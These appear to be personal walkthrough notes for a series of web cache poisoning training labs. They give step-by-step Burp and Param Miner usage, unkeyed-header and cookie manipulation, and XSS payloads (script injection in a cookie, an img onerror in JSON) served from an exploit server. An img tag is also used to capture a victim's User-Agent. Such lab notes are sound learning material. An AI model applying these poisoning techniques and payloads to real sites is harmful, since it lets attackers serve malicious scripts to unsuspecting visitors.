labs
Lab - 1: Web cache poisoning with an unkeyed header (P)
This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.
send the
/
request to Burp Repeatersend
Response is
send second time
and in response body, find the test.com
go to the exploit server and in the File, fill with
/resources/js/tracking.js
and in the bodyalert(document.domain)
change the
X-Forwarded-Host
to exploit server url without httpssend the resquest and see the response like above
change the GET endpoint to
/
home page and send the request
Lab - 2: Web cache poisoning with an unkeyed cookie (P)
This lab is vulnerable to web cache poisoning because cookies aren't included in the cache key. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes alert(1) in the visitor's browser.
GET
/
home page twicefor the first time,
for the second time,
and search the word
prod-cache-01
in the response content and found as below
send the request to Burp Repeater and change the
fehost
value tohello
andhello
value is reflected in the contentchange the
fehost
tofehost=hello"}</script><script>alert(1)%3b</script>
OR
fehost=hello"-alert(1)-"abc
all the requests to that site will alert 1 as the content is
Lab - 3: Web cache poisoning with multiple headers (P)
This lab contains a web cache poisoning vulnerability that is only exploitable when you use multiple headers to craft a malicious request. A user visits the home page roughly once a minute. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.
Load the page and see the requests in Burp proxy
try at the home page and nothing happens
at
GET /resources/js/tracking.js HTTP/1.1
, first try withX-Forwarded-Host
to some URL and nothing happenstry with
X-Forwarded-Scheme
tohttp
and found that 302 redirectthen add
X-Forwarded-Host
to some URL and the response contains that URL in Location asLocation: https://test.com/resources/js/tracking.js
Note - sometimes need to send requests more than 1 time to get X-Cache: miss
then go to the exploit server and edit the File to
/resources/js/tracking.js
and Body toalert(document.cookie)
and copy the URL of the exploit serveryour-exploit-server-id.exploit-server.net
replace the
X-Forwarded-Host
to URL of the exploit server and send again until the response containX-Cache: miss
Lab - 4: Targeted web cache poisoning using an unknown header (P)
This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes alert(document.cookie) in the visitor's browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs.
in Burp Request box of home
/
> Right-click > Extensions > Param Miner > Guess Params > Guess Headersafter scanning, in Issues box, can see
Cache poisoning
try with x-host
in the response content,
in the exploit server,
File -> /resources/js/tracking.js
Body -> alert(document.cookie)
copy the exploit server URL and paste it in x-host header
try to send request until X-Cache: hit
make sure alert is working at the home page
to stimulate victim
response contains like this
Vary header is used to specified that the
User-Agent
is part of the cache keyto target the specified victim, find the victims'
User-Agent
in comment box of one of the posts, as it is allowed HTML element and write a comment like this
<img src="https://ur-server-id.exploit-server.net/test" />
see in the access log of the exploit server and can see like this
"GET /test HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.61 Safari/537.36"
copy the
User-Agent
and paste in the request and send it until X-Cache is hit
Lab - 5: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria (E)
This lab contains a DOM-based vulnerability that can be exploited as part of a web cache poisoning attack. A user visits the home page roughly once a minute. Note that the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behavior closely. To solve the lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.
in Burp Request box of home
/
> Right-click > Extensions > Param Miner > Guess Params > Guess Headersafter scanning, in Issues box, can see
Cache poisoning
X-Forwarded-Host
is uncachedtest with this header at home directory
found the response as
and this data is used as
if we search the response for
geolocate.json
file
in the exploit server,
File ->
/resources/json/geolocate.json
Head -> add
Access-Control-Allow-Origin: *
for CORSBody ->
{"country": "<img src=x onerror=alert(document.cookie)>"}
change the X-Forwarded-For header of the home page to exploit server URL and send the request until X-Cache is hit
Lab - 6: Combining web cache poisoning vulnerabilities (E)
This lab is susceptible to web cache poisoning, but only if you construct a complex exploit chain. A user visits the home page roughly once a minute and their language is set to English. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.
skip for now
Lab - 7: Web cache poisoning via an unkeyed query string (P)
This lab is vulnerable to web cache poisoning because the query string is unkeyed. A user regularly visits this site's home page using Chrome. To solve the lab, poison the home page with a response that executes alert(1) in the victim's browser.
found that
adding query string is reflected back and test with without query string and that query string still appears
to solve the lab
will reflect back as
Lab - 8: Web cache poisoning via an unkeyed query parameter (P)
This lab is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. A user regularly visits this site's home page using Chrome. To solve the lab, poison the cache with a response that executes alert(1) in the victim's browser.
with param miner, "Guess GET parameters" to the home page and found that
utm_content
is supported by the applicationother steps as lab 7
Lab - 9: Parameter cloaking (P)
This lab is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. There is also inconsistent parameter parsing between the cache and the back-end. A user regularly visits this site's home page using Chrome. To solve the lab, use the parameter cloaking technique to poison the cache with a response that executes alert(1) in the victim's browser.
Last updated